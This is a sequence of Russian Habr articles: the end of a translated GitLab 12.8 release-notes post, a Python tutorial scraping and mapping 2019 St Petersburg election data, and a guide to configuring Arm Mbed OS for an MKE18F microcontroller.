[Документация по конвейерам](https://docs.gitlab.com/ee/ci/pipelines.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/31756).
### Ускоренный браузер репозитория
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Изучение исходного кода проекта, который вы впервые видите, или проекта, в который вы вносите свой вклад, теперь будет происходить быстрее. В GitLab 12.8 при пролистывании директорий список файлов и данные коммитов обновляются без перезагрузки всей страницы, что избавляет от ненужной загрузки страниц.
[Документация по репозиторию проекта](https://docs.gitlab.com/ee/user/project/repository/) и [оригинальный
эпик](https://gitlab.com/groups/gitlab-org/-/epics/159).
### Настройка ширины табов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
В отличие от пробелов, табы (символы табуляции) для некоторых [не просто дело вкуса](https://wiki.c2.com/?TabsVersusSpaces). Для тех, кто использует табы, их правильная ширина существенна. В частности, для проектов на языках C и Go, где табы наиболее распространены, важно, чтобы ширину табов можно было настроить в соответствии с локальными предпочтениями для лучшего ревью кода.
Теперь GitLab предоставляет пользовательский параметр **Tab width**, используемый при просмотре кода, включая диффы, логи CI и визуализированные блоки кода в Markdown.
Спасибо [Alexander Oleynikov](https://gitlab.com/0leynikov) за этот [вклад](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22063)!
[Документация по настройке ширины табов](https://docs.gitlab.com/ee/user/profile/preferences.html#tab-width) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/13904).
### Изменения в мерж-реквесте загружаются постепенно
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Мерж-реквесты, особенно вкладка **Изменения** (**Changes**) — это место, где проводят ревью и обсуждение исходного кода. Раньше, когда предлагаемых изменений становилось много, дифф загружался медленно и его нельзя было прочитать до полной загрузки.
В GitLab 12.8 список изменений файлов загружается сразу, а сами диффы загружаются постепенно. В итоге вы можете начать просматривать диффы почти сразу, а не ждать полной загрузки страницы.
[Документация по работе с мерж-реквестами](https://docs.gitlab.com/ee/user/project/merge_requests/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/31290).
---
Подробные release notes и инструкции по обновлению/установке можно прочитать в оригинальном англоязычном посте: [GitLab 12.8 released with Log Explorer, NuGet, and Compliance](https://about.gitlab.com/releases/2020/02/22/gitlab-12-8-released/).
Над переводом с английского работали [cattidourden](https://habr.com/ru/users/cattidourden/), [maryartkey](https://habr.com/ru/users/maryartkey/), [ainoneko](https://habr.com/ru/users/ainoneko/) и [rishavant](https://habr.com/ru/users/rishavant/). | https://habr.com/ru/post/491780/ | null | ru | null |
# Визуальное представление выборов в Санкт-Петербурге — магия накрутки голосов
Привет!
В сентябре этого (2019) года прошли выборы Губернатора Санкт-Петербурга. Все данные о голосовании находятся в открытом доступе на сайте избирательной комиссии, мы не будем ничего ломать, а просто визуализируем информацию с этого сайта [www.st-petersburg.vybory.izbirkom.ru](http://www.st-petersburg.vybory.izbirkom.ru/) в нужном для нас виде, проведем совсем несложный анализ и определим некоторые «волшебные» закономерности.
Обычно для подобных задач я использую Google Colab. Это сервис, который позволяет запускать Jupyter Notebook'и, имея доступ к GPU (NVidia Tesla K80) бесплатно, это заметно ускорит парсинг данных и их дальнейшую обработку. Мне понадобились некоторые подготовительные работы перед импортом.
```
%%time
!apt update
!apt upgrade
!apt install gdal-bin python-gdal python3-gdal
# Install rtree - Geopandas requirment
!apt install python3-rtree
# Install Geopandas
!pip install git+git://github.com/geopandas/geopandas.git
# Install descartes - Geopandas requirment
!pip install descartes
```
Далее импорты.
```
import requests
from bs4 import BeautifulSoup
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import geopandas as gpd
import xlrd
```
Описание используемых библиотек
-------------------------------
* requests — модуль для запроса на подключение к сайту
* BeautifulSoup — модуль для парсинга html и xml документов; позволяет получить доступ напрямую к содержимому любых тегов в html
* numpy — математический модуль с базовым и необходимым набором математических функций
* pandas — библиотека для анализа данных
* matplotlib.pyplot — модуль-набор методов построения
* geopandas — модуль для построения карты выборов
* xlrd — модуль для чтения табличных файлов
Настал момент собирать сами данные, парсим. Избирком позаботился о нашем времени и предоставил отчетность в таблицах, это удобно.
```
### Parser
list_of_TIKS = []
for i in range (1, 31):
list_of_TIKS.append('Территориальная избирательная комиссия №' + str(i))
num_of_voters = []
num_of_voters_voted = []
appearence = []
votes_for_Amosov_percent = []
votes_for_Beglov_percent = []
votes_for_Tikhonova_percent = []
url = "http://www.st-petersburg.vybory.izbirkom.ru/region/region/st-petersburg?action=show&root=1&tvd=27820001217417&vrn=27820001217413®ion=78&global=⊂_region=78&prver=0&pronetvd=null&vibid=27820001217417&type=222"
response = requests.get(url)
page = BeautifulSoup(response.content, "lxml")
main_links = page.find_all('a')
for TIK in list_of_TIKS:
for main_tag in main_links:
main_link = main_tag.get('href')
if TIK in main_tag:
current_TIK = pd.read_html(main_link, encoding='cp1251', header=0)[7]
num_of_voters.extend(int(current_TIK.iloc[0,i]) for i in range (len(current_TIK.columns)))
num_of_voters_voted.extend(int(current_TIK.iloc[2,i]) + int(current_TIK.iloc[3,i]) for i in range (len(current_TIK.columns)))
appearence.extend(round((int(current_TIK.iloc[2,i]) + int(current_TIK.iloc[3,i]))/int(current_TIK.iloc[0,i])*100, 2) for i in range (len(current_TIK.columns)))
votes_for_Amosov_percent.extend(round(float(current_TIK.iloc[12,i][-6]+current_TIK.iloc[12,i][-5]+current_TIK.iloc[12,i][-4]+current_TIK.iloc[12,i][-3]+current_TIK.iloc[12,i][-2]),2) for i in range (len(current_TIK.columns)))
votes_for_Beglov_percent.extend(round(float(current_TIK.iloc[13,i][-6]+current_TIK.iloc[13,i][-5]+current_TIK.iloc[13,i][-4]+current_TIK.iloc[13,i][-3]+current_TIK.iloc[13,i][-2]),2) for i in range (len(current_TIK.columns)))
votes_for_Tikhonova_percent.extend(round(float(current_TIK.iloc[14,i][-6]+current_TIK.iloc[14,i][-5]+current_TIK.iloc[14,i][-4]+current_TIK.iloc[14,i][-3]+current_TIK.iloc[14,i][-2]),2) for i in range (len(current_TIK.columns)))
```
Итак, то, о чем и шла речь. Данные в Google Colab собираются шустро, но их не так уж и много.
Прежде, чем строить различные графики и карты, нам хорошо иметь представление, что мы называем «датасетом».
Разбор данных избиркома
-----------------------
По городу Санкт-Петербургу расположены 30 территориальных комиссий к ним же в 31-ый столбец относим цифровые избирательные участки.
В каждой территориальной комиссии несколько десятков УИКов (участковых избирательных комиссий).
Основное, что нас интересует, это явка на каждом избирательном участке, и какие зависимости мы можем наблюдать. Я буду отталкиваться от следующих:
* зависимость явки и количества избирательных участков;
* зависимость процента голосов за кандидатов от явки;
* зависимость явки от количества избирателей на участке.
Из таблицы голых данных довольно тяжело проследить как прошли выборы и сделать какие-то выводы, поэтому графики наш выход.
Построим то, что придумали.
```
### Plots Data
#Votes in percent (appearence) - no need in extra computations
#Appearence (num of voters) - no need in extera computations
#Number of UIKs (appearence)
interval = 1
interval_num_of_UIKs = []
for i in range (int(100/interval+1/interval)):
interval_num_of_UIKs.append(0)
for i in range (0, int(100/interval+1/interval), interval):
for j in range (len(appearence)):
if appearence[j] < (i + interval/2) and appearence[j] >= (i - interval/2):
interval_num_of_UIKs[i] = interval_num_of_UIKs[i] + 1
```
```
### Plotting
#Number of UIKs (appearence)
plt.figure(figsize=(10, 6))
plt.plot(interval_num_of_UIKs)
plt.axis([0, 100, 0, 200])
plt.ylabel('Number of UIKs in a 1% range')
plt.xlabel('Appearence')
plt.show()
#Votes in percent (appearence)
plt.figure(figsize=(10, 10))
plt.scatter(appearence, votes_for_Amosov_percent, c = 'g', s = 6)
plt.scatter(appearence, votes_for_Beglov_percent, c = 'b', s = 6)
plt.scatter(appearence, votes_for_Tikhonova_percent, c = 'r', s = 6)
plt.ylabel('Votes in % for each candidate')
plt.xlabel('Appearence')
plt.show()
#Appearence (num of voters)
plt.figure(figsize=(10, 6))
plt.scatter(num_of_voters, appearence, c = 'y', s = 6)
plt.ylabel('Appearence')
plt.xlabel('Number of voters registereg in UIK')
plt.show()
```
**Зависимость явки и количества избирательных участков**
**Зависимость процента голосов за кандидатов от явки**
* «зеленый» — голоса за Амосова
* «синий» — за Беглова
* «красный» — за Тихонову
**Зависимость явки от количества избирателей на участке**
Построения вполне сносные, но в ходе работы выяснилось, что в среднем на участке 400 человек и процент за Беглова от 50 до 70, но есть два участка с явкой >1200 чел и процентом 90+-0.2. Интересно, что такое произошло на этих участках. Какие-то фантастические агитаторы поработали? Или просто подвезли 10 автобусов людей и заставили голосовать? Так или иначе, мы взволнованы, небольшое такое расследование получается. Но нам еще карты рисовать. Продолжим.
Визуальное представление и работа с geopandas
---------------------------------------------
```
### Extra data for visualization: appearence and number of voters by municipal districts
current_UIK = pd.read_html(url, encoding='cp1251', header=0)[7]
num_of_voters_dist = []
num_of_voters_voted_dist = []
appearence_dist = []
for j in [num_of_voters_dist, num_of_voters_voted_dist, appearence_dist]:
j.extend(0 for i in range (18))
districts = {
'0' : [1], #Адмиралтейский
'1' : [2], #Василеостровский
'2' : [18], #Петроградский
'3' : [16, 30], #Центральный
'4' : [10, 14, 22], #Выборгский
'5' : [11, 17], #Калининский
'6' : [4, 25], #Красногвардейский
'7' : [5, 24], #Невский
'8' : [23, 29], #Фрунзенский
'9' : [9, 12, 28], #Приморский
'10' : [13], #Курортный
'11' : [15], #Кронштадтский
'12' : [21], #Колпинский
'13' : [20], #Пушкинский
'14' : [19, 27], #Московский
'15' : [3, 7], #Кировский
'16' : [6, 26], #Красносельский
'17' : [8] #Петродворцовый
}
for i in districts.keys():
for k in range (1, 31):
if k in districts[i]:
num_of_voters_dist[int(i)]= num_of_voters_dist[int(i)] + int(current_UIK.iloc[0,k-1])
num_of_voters_voted_dist[int(i)] = num_of_voters_voted_dist[int(i)] + int(current_UIK.iloc[2,k-1]) + int(current_UIK.iloc[3,k-1])
for i in range (18):
appearence_dist[i] = round(num_of_voters_voted_dist[i]/num_of_voters_dist[i]*100, 2)
```
```
### GeoDataFrame
SPb_shapes= gpd.read_file('./shapes/Administrative_Discrits.shp', encoding='cp1251')
temp = pd.DataFrame({'Количество избирателей': num_of_voters_dist, 'Явка':appearence_dist })
temp['Район'] = SPb_shapes[['Район']]
temp['geometry'] = SPb_shapes[['geometry']]
SPB_elections_visualization = gpd.GeoDataFrame(temp)
```
```
### Colored districts
SPB_elections_visualization.plot(column = 'Район', linewidth=0, cmap='plasma', legend=True, figsize=[15,15])
```
Окрасили административные районы города и подписали их, выглядит привычно, похоже на Питер, но Невы все-таки не хватает.
**Количество избирателей**
```
### Number of voters gradient
SPB_elections_visualization.plot(column = 'Количество избирателей', linewidth=0, cmap='plasma', legend=True, figsize=[15,15])
```
**Явка**
```
### Appearence gradient
SPB_elections_visualization.plot(column = 'Явка', linewidth=0, cmap='plasma', legend=True, figsize=[15,15])
```
Заключение
----------
Можно долго развлекаться с данными, использовать их в разных сферах и, конечно же, получать определенную пользу, для этого они и существуют. С помощью простых и сложных инструментов визуализации геоданных можно делать прекрасные вещи. О своих успехах пишите в коменты! | https://habr.com/ru/post/475258/ | null | ru | null |
# Применение Arm Mbed OS. Тонкая настройка
После того как с помощью **Arm Mbed OS** удалось [помигать светодиодом](https://habr.com/post/262839/), настало время протестировать и настроить другие важные сервисы. Далее рассказывается:
* Технология конфигурирование **Mbed**
* Почему сложно перейти на **C++** в обычных **RTOS**
* Как экономить память в **RTOS**
* Как организуются прерывания в **Mbed OS**
* Чем удобно отлаживать **Mbed OS**
* Как избавиться от лишнего слоя абстракции **SDK**
*Продолжаем знакомство с технологией программирования микроконтроллеров семейства [MKE18F](https://www.nxp.com/products/processors-and-microcontrollers/arm-based-processors-and-mcus/kinetis-cortex-m-mcus/e-series5v-robustm0-plus-m4/kinetis-ke1xf-168mhz-performance-with-can-5v-microcontrollers-based-on-arm-cortex-m4:KE1xF?) c использованием [ARM Mbed OS](https://www.mbed.com/en/platform/mbed-os/)*
* [Первая статья](https://habr.com/post/262839/)
Технология конфигурирования Mbed
--------------------------------
Важной составляющей проекта Mbed является система **автоматического конфигурирования** и сборки, как в **online** режиме так и в **offline**, т.е. локально на компьютере пользователя. Конфигурировать предлагается путем редактирования файлов в формате **.json** со специальными именами. Затем находящиеся в проекте **Python** скрипты преобразуют эти файлы в заголовочные файлы, файлы рабочих пространств выбранной пользователем IDE, командные файлы линкеров и прочие вспомогательные файлы.
Но проблема описанного метода в непрозрачности с точки зрения исходных текстов, так как нам очень трудно отследить где и что в исходниках меняет система конфигурирования. С другой стороны в нашем случае нет никаких мотивов поддерживать способность проекта автоматически переноситься на разные IDE.
Поэтому от такого подхода решено было отказаться. Как писалось в предыдущей статье, был просто сформирован в online проект для **IDE IAR**, получена неструктурированная куча файлов в рабочем пространстве IDE, затем выполнена их систематизация и отброшено ненужное. В результате больше не нужно делать конфигурирование через **.json** файлы и осталось только три конкретных места где находятся параметры влияющие на конфигурацию **Mbed**:
* **Опции компилятора** в среде IDE
* **Командный файл MKE18F512xxx16\_flash.icf** линкера
* Заголовочный файл **mbed\_config.h**
В файле **mbed\_config.h** можно насчитать около 130 дефайнов, что поначалу очень напрягает. Но к счастью большинство из них относится к стекам беспроводных протоколов, которые к данному моменту в проекте не используются. Для удобства записи были отсортированы чтобы актуальные разместились вверху. Исходно дефайны для разных модулей в файле **mbed\_config.h** расположены хаотично, но после сортировки он выглядит так:
**Открыть**
```
#ifndef __MBED_CONFIG_DATA__
#define __MBED_CONFIG_DATA__
// Configuration parameters
#define MBED_CONF_RTOS_PRESENT 1 // set by library:rtos
#define MBED_ALL_STATS_ENABLED 1
//#define DEVICE_SLEEP=1 Снять комментарий если нужно переводить в SLEEP в случае отсутствия активных задач
#define MBED_CONF_APP_MAIN_STACK_SIZE 1024
#define MBED_CONF_APP_TIMER_THREAD_STACK_SIZE 512
#define MBED_CONF_APP_IDLE_THREAD_STACK_SIZE 512
#define MBED_CONF_PLATFORM_DEFAULT_SERIAL_BAUD_RATE 3000000 // set by library:platform
#define MBED_CONF_PLATFORM_ERROR_ALL_THREADS_INFO 0 // set by library:platform
#define MBED_CONF_PLATFORM_ERROR_FILENAME_CAPTURE_ENABLED 0 // set by library:platform
#define MBED_CONF_PLATFORM_ERROR_HIST_ENABLED 0 // set by library:platform
#define MBED_CONF_PLATFORM_ERROR_HIST_SIZE 4 // set by library:platform
#define MBED_CONF_PLATFORM_FORCE_NON_COPYABLE_ERROR 0 // set by library:platform
#define MBED_CONF_PLATFORM_MAX_ERROR_FILENAME_LEN 16 // set by library:platform
#define MBED_CONF_PLATFORM_POLL_USE_LOWPOWER_TIMER 0 // set by library:platform
#define MBED_CONF_PLATFORM_STDIO_BAUD_RATE 3000000 // set by library:platform
#define MBED_CONF_PLATFORM_STDIO_BUFFERED_SERIAL 0 // set by library:platform
#define MBED_CONF_PLATFORM_STDIO_CONVERT_NEWLINES 1 // set by library:platform
#define MBED_CONF_PLATFORM_STDIO_CONVERT_TTY_NEWLINES 0 // set by library:platform
#define MBED_CONF_PLATFORM_STDIO_FLUSH_AT_EXIT 1 // set by library:platform
#define MBED_CONF_DRIVERS_UART_SERIAL_RXBUF_SIZE 256 // set by library:drivers
#define MBED_CONF_DRIVERS_UART_SERIAL_TXBUF_SIZE 256 // set by library:drivers
#define MBED_CONF_EVENTS_PRESENT 1 // set by library:events
#define MBED_CONF_EVENTS_SHARED_DISPATCH_FROM_APPLICATION 0 // set by library:events
#define MBED_CONF_EVENTS_SHARED_EVENTSIZE 256 // set by library:events
#define MBED_CONF_EVENTS_SHARED_HIGHPRIO_EVENTSIZE 256 // set by library:events
#define MBED_CONF_EVENTS_SHARED_HIGHPRIO_STACKSIZE 1024 // set by library:events
#define MBED_CONF_EVENTS_SHARED_STACKSIZE 1024 // set by library:events
#define MBED_CONF_EVENTS_USE_LOWPOWER_TIMER_TICKER 0 // set by library:events
#define MBED_CONF_CELLULAR_DEBUG_AT 0 // set by library:cellular
#define MBED_CONF_CELLULAR_RANDOM_MAX_START_DELAY 0 // set by library:cellular
#define MBED_CONF_CELLULAR_USE_APN_LOOKUP 1 // set by library:cellular
#define MBED_CONF_FILESYSTEM_PRESENT 1 // set by library:filesystem
#define MBED_CONF_KINETIS_EMAC_RX_RING_LEN 16 // set by library:kinetis-emac
#define MBED_CONF_KINETIS_EMAC_TX_RING_LEN 8 // set by library:kinetis-emac
#define MBED_CONF_LORA_ADR_ON 1 // set by library:lora
#define MBED_CONF_LORA_APP_PORT 15 // set by library:lora
#define MBED_CONF_LORA_APPLICATION_EUI {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // set by library:lora
#define MBED_CONF_LORA_APPLICATION_KEY {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // set by library:lora
#define MBED_CONF_LORA_APPSKEY {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // set by library:lora
#define MBED_CONF_LORA_AUTOMATIC_UPLINK_MESSAGE 1 // set by library:lora
#define MBED_CONF_LORA_DEVICE_ADDRESS 0x00000000 // set by library:lora
#define MBED_CONF_LORA_DEVICE_EUI {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // set by library:lora
#define MBED_CONF_LORA_DUTY_CYCLE_ON 1 // set by library:lora
#define MBED_CONF_LORA_LBT_ON 0 // set by library:lora
#define MBED_CONF_LORA_NB_TRIALS 12 // set by library:lora
#define MBED_CONF_LORA_NWKSKEY {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // set by library:lora
#define MBED_CONF_LORA_OVER_THE_AIR_ACTIVATION 1 // set by library:lora
#define MBED_CONF_LORA_PHY EU868 // set by library:lora
#define MBED_CONF_LORA_PUBLIC_NETWORK 1 // set by library:lora
#define MBED_CONF_LORA_TX_MAX_SIZE 64 // set by library:lora
#define MBED_CONF_LWIP_ADDR_TIMEOUT 5 // set by library:lwip
#define MBED_CONF_LWIP_ADDR_TIMEOUT_MODE 1 // set by library:lwip
#define MBED_CONF_LWIP_DEBUG_ENABLED 0 // set by library:lwip
#define MBED_CONF_LWIP_DEFAULT_THREAD_STACKSIZE 512 // set by library:lwip
#define MBED_CONF_LWIP_ENABLE_PPP_TRACE 0 // set by library:lwip
#define MBED_CONF_LWIP_ETHERNET_ENABLED 1 // set by library:lwip
#define MBED_CONF_LWIP_IP_VER_PREF 4 // set by library:lwip
#define MBED_CONF_LWIP_IPV4_ENABLED 1 // set by library:lwip
#define MBED_CONF_LWIP_IPV6_ENABLED 0 // set by library:lwip
#define MBED_CONF_LWIP_MEM_SIZE 36560 // set by library:lwip[Freescale]
#define MBED_CONF_LWIP_PPP_THREAD_STACKSIZE 768 // set by library:lwip
#define MBED_CONF_LWIP_SOCKET_MAX 4 // set by library:lwip
#define MBED_CONF_LWIP_TCP_ENABLED 1 // set by library:lwip
#define MBED_CONF_LWIP_TCP_SERVER_MAX 4 // set by library:lwip
#define MBED_CONF_LWIP_TCP_SOCKET_MAX 4 // set by library:lwip
#define MBED_CONF_LWIP_TCPIP_THREAD_STACKSIZE 1200 // set by library:lwip
#define MBED_CONF_LWIP_UDP_SOCKET_MAX 4 // set by library:lwip
#define MBED_CONF_LWIP_USE_MBED_TRACE 0 // set by library:lwip
#define MBED_CONF_MBED_MESH_API_6LOWPAN_ND_CHANNEL 0 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_6LOWPAN_ND_CHANNEL_MASK 0x7fff800 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_6LOWPAN_ND_CHANNEL_PAGE 0 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_6LOWPAN_ND_DEVICE_TYPE NET_6LOWPAN_ROUTER // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_6LOWPAN_ND_PANID_FILTER 0xffff // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_6LOWPAN_ND_PSK_KEY {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf} // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_6LOWPAN_ND_PSK_KEY_ID 1 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_6LOWPAN_ND_SEC_LEVEL 5 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_6LOWPAN_ND_SECURITY_MODE NONE // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_HEAP_SIZE 32500 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_CONFIG_CHANNEL 22 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_CONFIG_CHANNEL_MASK 0x7fff800 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_CONFIG_CHANNEL_PAGE 0 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_CONFIG_COMMISSIONING_DATASET_TIMESTAMP 0x10000 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_CONFIG_EXTENDED_PANID {0xf1, 0xb5, 0xa1, 0xb2,0xc4, 0xd5, 0xa1, 0xbd } // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_CONFIG_ML_PREFIX {0xfd, 0x0, 0x0d, 0xb8, 0x0, 0x0, 0x0, 0x0} // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_CONFIG_NETWORK_NAME "Thread Network" // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_CONFIG_PANID 0x0700 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_CONFIG_PSKC {0xc8, 0xa6, 0x2e, 0xae, 0xf3, 0x68, 0xf3, 0x46, 0xa9, 0x9e, 0x57, 0x85, 0x98, 0x9d, 0x1c, 0xd0} // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_DEVICE_TYPE MESH_DEVICE_TYPE_THREAD_ROUTER // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_MASTER_KEY {0x10, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff} // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_PSKD "ABCDEFGH" // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_SECURITY_POLICY 255 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_THREAD_USE_STATIC_LINK_CONFIG 1 // set by library:mbed-mesh-api
#define MBED_CONF_MBED_MESH_API_USE_MALLOC_FOR_HEAP 0 // set by library:mbed-mesh-api
#define MBED_CONF_NANOSTACK_CONFIGURATION nanostack_full // set by library:nanostack
#define MBED_CONF_NANOSTACK_HAL_CRITICAL_SECTION_USABLE_FROM_INTERRUPT 0 // set by library:nanostack-hal
#define MBED_CONF_NANOSTACK_HAL_EVENT_LOOP_DISPATCH_FROM_APPLICATION 0 // set by library:nanostack-hal
#define MBED_CONF_NANOSTACK_HAL_EVENT_LOOP_THREAD_STACK_SIZE 6144 // set by library:nanostack-hal
#define MBED_CONF_NANOSTACK_HAL_EVENT_LOOP_USE_MBED_EVENTS 0 // set by library:nanostack-hal
#define MBED_CONF_NANOSTACK_HAL_NVM_CFSTORE 0 // set by library:nanostack-hal
#define MBED_CONF_NSAPI_DEFAULT_MESH_TYPE THREAD // set by library:nsapi
#define MBED_CONF_NSAPI_DEFAULT_STACK LWIP // set by library:nsapi
#define MBED_CONF_NSAPI_DEFAULT_WIFI_SECURITY NONE // set by library:nsapi
#define MBED_CONF_NSAPI_DNS_CACHE_SIZE 3 // set by library:nsapi
#define MBED_CONF_NSAPI_DNS_RESPONSE_WAIT_TIME 5000 // set by library:nsapi
#define MBED_CONF_NSAPI_DNS_RETRIES 0 // set by library:nsapi
#define MBED_CONF_NSAPI_DNS_TOTAL_ATTEMPTS 3 // set by library:nsapi
#define MBED_CONF_NSAPI_PRESENT 1 // set by library:nsapi
#define MBED_CONF_PPP_CELL_IFACE_APN_LOOKUP 1 // set by library:ppp-cell-iface
#define MBED_CONF_PPP_CELL_IFACE_AT_PARSER_BUFFER_SIZE 256 // set by library:ppp-cell-iface
#define MBED_CONF_PPP_CELL_IFACE_AT_PARSER_TIMEOUT 8000 // set by library:ppp-cell-iface
#define MBED_CONF_PPP_CELL_IFACE_BAUD_RATE 115200 // set by library:ppp-cell-iface
#define MBED_CONF_TARGET_NETWORK_DEFAULT_INTERFACE_TYPE ETHERNET // set by target:K66F
#define MBED_LFS_BLOCK_SIZE 512 // set by library:littlefs
#define MBED_LFS_ENABLE_INFO 0 // set by library:littlefs
#define MBED_LFS_INTRINSICS 1 // set by library:littlefs
#define MBED_LFS_LOOKAHEAD 512 // set by library:littlefs
#define MBED_LFS_PROG_SIZE 64 // set by library:littlefs
#define MBED_LFS_READ_SIZE 64 // set by library:littlefs
#define NSAPI_PPP_AVAILABLE 0 // set by library:lwip
#define NSAPI_PPP_IPV4_AVAILABLE 1 // set by library:lwip
#define NSAPI_PPP_IPV6_AVAILABLE 0 // set by library:lwip
#define NVSTORE_ENABLED 1 // set by library:nvstore
#define NVSTORE_MAX_KEYS 16 // set by library:nvstore
// Macros
#define _RTE_ // defined by library:rtos
#define NS_USE_EXTERNAL_MBED_TLS // defined by library:nanostack
#define UNITY_INCLUDE_CONFIG_H // defined by library:utest
#endif
```
Особенности перехода на C++ в применении к RTOS
-----------------------------------------------
**API** верхнего уровня в **Mbed** написано на **C++**, поэтому этот язык приходится использовать и в прикладном коде. Но тут есть нюансы о которых необходимо знать.
Использование **C++** для **RTOS** в малых встраиваемых системах еще сравнительная редкость. Проблема здесь в том, что успешные проекты **RTOS** стремятся быть мультиплатформенными, а **С++** предъявляет повышенные требования к менеджменту ресурсов платформы по сравнению с **С**. Причина в стремлении скрыть от пользователя детали низкоуровневого управления ресурсами. Речь прежде всего о ресурсах памяти. Конструкторы, деструкторы, потоки, исключения c автоматической деструкцией, шаблоны объектов структур данных и др. используют неявные операции с динамической памятью. Но ресурс оперативной памяти **RAM** в малых системах очень ограничен. Оперативная память — самый дефицитный ресурс в таких системах и особенно в **RTOS**. В **RTOS** каждой задаче выделяется стек, его точный размер разработчик заранее спрогнозировать не может и поэтому выбирает с запасом. Таким образом наличие **RTOS** с десятком задач сразу вызывает необходимость в **RAM** размером от 10 до 30 кБ. Еще много памяти нужно для различных парсеров и протоколов (HTTP, HTML...) и файловых систем. Если применяется дисплей, то еще более увеличиваются требования к свободной **RAM**.
Библиотеки сред разработки типа **IAR** оснащаются неплохими менеджерами динамической памяти, но они рассчитаны на однопоточную среду исполнения. Чтобы они начали работать в **RTOS** нужно написать дополнительный код. Этот процесс называется **retargeting**.
В **RTOS** написанных на **C** ретаргетинг как правило не производится. Поскольку там нет неявных операций с динамической памятью на уровне языка, то все операции выполняются явно вызовом собственных потокобезопасных вариантов функций **malloc** и **free**. Программист имеет полный контроль над операциями с динамической памятью и легко может применять все возможные меры по ее экономии.
В случае **C++** если мы хотим использовать все возможности этого языка нам придется делать **retargeting**. Но **retargeting** в каждой среде разработки процесс сугубо индивидуальный. Это и усложняет жизнь разработчикам **RTOS**.
На рисунке ниже пример структуры вызовов с ретаргетингом. Функции *\_\_write*, *\_\_lseek*, *\_\_read* могут пользователем и не реализовываться, но тогда их функциональность остается на усмотрение **IDE**. И уж точно **printf** и **scanf** не будут многопоточными.
**Mbed** одна из немногих если не единственная **RTOS**, которая предоставляет исходники с уже проделанным ретаргетингом под триаду известных средств разработки: **GCC**, **IAR**, **Keil**
Несмотря на все сказанное выше можно встретить статьи о портировании **RTOS** на **C++** без выполнения ретаргетинга, например решая проблему простой заменой некоторых распространненных стандартных функций на свои. Это работать может, но программисту тогда нужно помнить о разных неявных и недокументированных ограничениях при использовании конструкций **C++** в **IAR**(только статические конструкторы, проверять все шаблоны на использование **new**, отказаться от исключений и т.д.). Это уже будет сложно назвать **C++**. **Mbed** как система дружелюбная к пользователю снимает многие такие ограничения приближаясь по простоте к **Arduino**.
Помимо всего в свежих версиях IAR есть трудности перехода на C11 и C++14 о чем написано здесь — <https://www.iar.com/support/resources/articles/exploring-c11-and-c14/>
Как организуются прерывания в Mbed
----------------------------------
Как ни странно, но найти класс или функцию или что-то подходящее для организации обслуживания прерываний в API Mbed не удастся. Можно обнаружить только класс **[InterruptIn](https://os.mbed.com/docs/v5.10/apis/interruptin.html)**, который предначзначен только для внешних портов.
Ответы на такие вопросы надо искать в **[CMSIS-RTOS](https://www.keil.com/pack/doc/CMSIS/RTOS/html/theory.html#isr_function_calls)**, а именно в хидерах *CMSIS Cortex-M4 Core Peripheral Access Layer*. Там определены макросы:
* ***NVIC\_SetVector*** — устанавливает для заданного вектора процедуру обслуживания прерываний (interrupt service routine, ISR)
* ***NVIC\_SetPriority*** — устанавливает приоритет для заданного вектора прерываний.
